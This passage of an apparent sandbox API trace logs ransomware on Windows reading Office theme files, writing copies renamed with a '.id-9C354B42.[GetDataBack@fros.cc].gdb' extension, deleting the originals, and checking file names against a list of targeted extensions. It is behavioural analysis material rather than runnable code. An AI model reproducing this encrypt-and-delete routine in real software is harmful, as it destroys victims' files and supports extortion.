Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.489] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.489] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0125.491] GetLastError () returned 0x0 [0125.491] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x67b, lpOverlapped=0x0) returned 1 [0125.493] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x680, lpOverlapped=0x0) returned 1 [0125.494] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.495] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0125.495] SetEndOfFile (hFile=0x214) returned 1 [0125.495] CloseHandle (hObject=0x214) returned 1 [0125.495] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.495] SetEndOfFile (hFile=0x208) returned 1 [0125.496] CloseHandle (hObject=0x208) returned 1 [0125.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.497] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0125.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.497] lstrlenW (lpString=".doc") returned 4 [0125.497] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.497] lstrlenW (lpString=".docx") returned 5 [0125.497] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.497] lstrlenW (lpString=".pdf") returned 4 [0125.497] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.497] lstrlenW (lpString=".xls") returned 4 [0125.497] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.497] lstrlenW (lpString=".xlsx") returned 5 [0125.497] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.497] lstrlenW (lpString=".ppt") returned 4 [0125.497] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.497] lstrlenW (lpString=".zip") returned 4 [0125.497] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.497] lstrlenW (lpString=".rar") returned 4 [0125.497] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.497] lstrlenW (lpString=".bz2") returned 4 [0125.497] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.497] lstrlenW (lpString=".7z") returned 3 [0125.498] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.498] lstrlenW (lpString=".dbf") returned 4 [0125.498] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.498] lstrlenW (lpString=".1cd") returned 4 [0125.498] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.498] lstrlenW (lpString=".jpg") returned 4 [0125.498] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.498] lstrlenW (lpString=".doc") returned 4 [0125.498] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.498] lstrlenW (lpString=".docx") returned 5 [0125.498] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.498] lstrlenW (lpString=".pdf") returned 4 [0125.498] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.498] lstrlenW (lpString=".xls") returned 4 [0125.498] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.498] lstrlenW (lpString=".xlsx") returned 5 [0125.498] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.498] lstrlenW (lpString=".ppt") returned 4 [0125.498] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.498] lstrlenW (lpString=".zip") returned 4 [0125.498] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.498] lstrlenW (lpString=".rar") returned 4 [0125.498] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.498] lstrlenW (lpString=".bz2") returned 4 [0125.498] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.498] lstrlenW (lpString=".7z") returned 3 [0125.498] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.499] lstrlenW (lpString=".dbf") returned 4 [0125.499] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.499] lstrlenW (lpString=".1cd") returned 4 [0125.499] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0125.499] lstrlenW (lpString=".jpg") returned 4 [0125.499] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.499] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.499] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.500] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=44850) returned 1 [0125.500] CloseHandle (hObject=0x208) returned 1 [0125.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0125.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.501] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.501] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0125.501] GetLastError () returned 0x0 [0125.501] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0xaf32, lpOverlapped=0x0) returned 1 [0125.503] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xaf40, lpOverlapped=0x0) returned 1 [0125.505] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.505] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0125.506] SetEndOfFile (hFile=0x214) returned 1 [0125.506] CloseHandle (hObject=0x214) returned 1 [0125.506] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.506] SetEndOfFile (hFile=0x208) returned 1 [0125.508] CloseHandle (hObject=0x208) returned 1 [0125.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.508] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0125.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.508] lstrlenW (lpString=".doc") returned 4 [0125.508] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.508] lstrlenW (lpString=".docx") returned 5 [0125.508] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.508] lstrlenW (lpString=".pdf") returned 4 [0125.508] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.508] lstrlenW (lpString=".xls") returned 4 [0125.508] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.509] lstrlenW (lpString=".xlsx") returned 5 [0125.509] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.509] lstrlenW (lpString=".ppt") returned 4 [0125.509] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.509] lstrlenW (lpString=".zip") returned 4 [0125.509] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.509] lstrlenW (lpString=".rar") returned 4 [0125.509] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.509] lstrlenW (lpString=".bz2") returned 4 [0125.509] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.509] lstrlenW (lpString=".7z") returned 3 [0125.509] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.509] lstrlenW (lpString=".dbf") returned 4 [0125.509] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.509] lstrlenW (lpString=".1cd") returned 4 [0125.509] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.509] lstrlenW (lpString=".jpg") returned 4 [0125.509] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.509] lstrlenW (lpString=".doc") returned 4 [0125.509] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.509] lstrlenW (lpString=".docx") returned 5 [0125.509] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.509] lstrlenW (lpString=".pdf") returned 4 [0125.509] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.509] lstrlenW (lpString=".xls") returned 4 [0125.509] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.509] lstrlenW (lpString=".xlsx") returned 5 [0125.509] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.510] lstrlenW (lpString=".ppt") returned 4 [0125.510] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.510] lstrlenW (lpString=".zip") returned 4 [0125.510] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.510] lstrlenW (lpString=".rar") returned 4 [0125.510] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.510] lstrlenW (lpString=".bz2") returned 4 [0125.510] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.510] lstrlenW (lpString=".7z") returned 3 [0125.510] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.510] lstrlenW (lpString=".dbf") returned 4 [0125.510] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.510] lstrlenW (lpString=".1cd") returned 4 [0125.510] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0125.510] lstrlenW (lpString=".jpg") returned 4 [0125.510] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.510] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.510] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.511] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1379) returned 1 [0125.511] CloseHandle (hObject=0x208) returned 1 [0125.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0125.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.511] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.511] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0125.513] GetLastError () returned 0x0 [0125.513] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x563, lpOverlapped=0x0) returned 1 [0125.514] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x570, lpOverlapped=0x0) returned 1 [0125.515] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.515] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0125.515] SetEndOfFile (hFile=0x214) returned 1 [0125.515] CloseHandle (hObject=0x214) returned 1 [0125.515] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.515] SetEndOfFile (hFile=0x208) returned 1 [0125.519] CloseHandle (hObject=0x208) returned 1 [0125.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.519] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0125.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.520] lstrlenW (lpString=".doc") returned 4 [0125.520] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.520] lstrlenW (lpString=".docx") returned 5 [0125.520] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.520] lstrlenW (lpString=".pdf") returned 4 [0125.520] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.520] lstrlenW (lpString=".xls") returned 4 [0125.520] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.520] lstrlenW (lpString=".xlsx") returned 5 [0125.520] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.520] lstrlenW (lpString=".ppt") returned 4 [0125.520] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.520] lstrlenW (lpString=".zip") returned 4 [0125.520] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.520] lstrlenW (lpString=".rar") returned 4 [0125.520] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.520] lstrlenW (lpString=".bz2") returned 4 [0125.520] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.520] lstrlenW (lpString=".7z") returned 3 [0125.520] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.520] lstrlenW (lpString=".dbf") returned 4 [0125.520] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.520] lstrlenW (lpString=".1cd") returned 4 [0125.520] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.520] lstrlenW (lpString=".jpg") returned 4 [0125.520] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.520] lstrlenW (lpString=".doc") returned 4 [0125.520] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.520] lstrlenW (lpString=".docx") returned 5 [0125.520] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.521] lstrlenW (lpString=".pdf") returned 4 [0125.521] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.521] lstrlenW (lpString=".xls") returned 4 [0125.521] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.521] lstrlenW (lpString=".xlsx") returned 5 [0125.521] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.521] lstrlenW (lpString=".ppt") returned 4 [0125.521] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.521] lstrlenW (lpString=".zip") returned 4 [0125.521] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.521] lstrlenW (lpString=".rar") returned 4 [0125.521] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.521] lstrlenW (lpString=".bz2") returned 4 [0125.521] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.521] lstrlenW (lpString=".7z") returned 3 [0125.521] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.521] lstrlenW (lpString=".dbf") returned 4 [0125.521] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.521] lstrlenW (lpString=".1cd") returned 4 [0125.521] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0125.521] lstrlenW (lpString=".jpg") returned 4 [0125.521] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.521] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.521] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.522] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=48115) returned 1 [0125.522] CloseHandle (hObject=0x208) returned 1 [0125.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0125.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 